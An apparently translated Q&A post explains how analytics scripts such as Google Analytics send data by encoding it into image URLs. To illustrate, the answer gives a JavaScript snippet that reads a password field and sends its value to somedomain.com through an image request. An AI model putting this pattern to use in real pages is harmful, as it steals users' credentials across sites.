【发布时间】:2012-06-15 07:44:48
【问题描述】:
有人知道 Google Analytics 或 Clicky 的工作原理吗?
我坚持搜索整个http://static.getclicky.com/js 文件,但没有在其中找到任何服务器请求。它如何在不影响自身安全的情况下发送数据?否则用户可以通过修改js发送虚假数据。
【问题讨论】:
标签: javascript google-analytics web-analytics tracker
有人知道 Google Analytics 或 Clicky 的工作原理吗?
我坚持搜索整个http://static.getclicky.com/js 文件,但没有在其中找到任何服务器请求。它如何在不影响自身安全的情况下发送数据?否则用户可以通过修改js发送虚假数据。
【问题讨论】:
标签: javascript google-analytics web-analytics tracker
图像:这些库使用一种技巧,将所需的所有跟踪信息编码,将其附加到图像 URL,然后通过请求图像“发送”它。该图像文件名的服务器端解析会解码信息。
假设您想要从 mydomain.com 发送到 somedomain.com 的密码字段:
<input type='password' id='p' />
此 javascript 可能会违反跨站限制发送内容:
var t = document.getElementById('p').value;
var i = document.createElement('img');
i.src = 'http://somedomain.com/imagescript.php?p=' + t;
跨站点脚本限制不适用于图像,当您在 JavaScript 中编写图像 URL 请求时,世界上没有任何浏览器或逻辑可以解决所有可能性。假设我们很幸运 GA 是合乎道德的并且不会妨碍表单字段。
【讨论】: